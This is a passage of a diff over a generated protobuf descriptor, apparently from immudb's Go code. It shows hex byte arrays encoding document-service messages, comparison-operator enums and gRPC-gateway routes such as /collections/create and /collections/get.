0x73, 0x63, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0x93, + 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, + 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, + 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, 0x0a, 0x12, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, + 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, 0x0a, - 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, - 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, 0x0a, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, - 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, - 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, - 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, - 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, - 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, - 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, - 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, - 0x08, 0x0a, 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, 0x6d, - 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, - 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, - 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, - 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, - 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xa5, 0x0e, 0x0a, 0x0f, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, - 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, 0x01, 0x0a, + 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, + 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, + 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, + 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, 0x47, + 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, + 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, + 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, + 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x08, 0x0a, + 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, + 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, + 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, + 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, + 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0x97, 0x0e, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 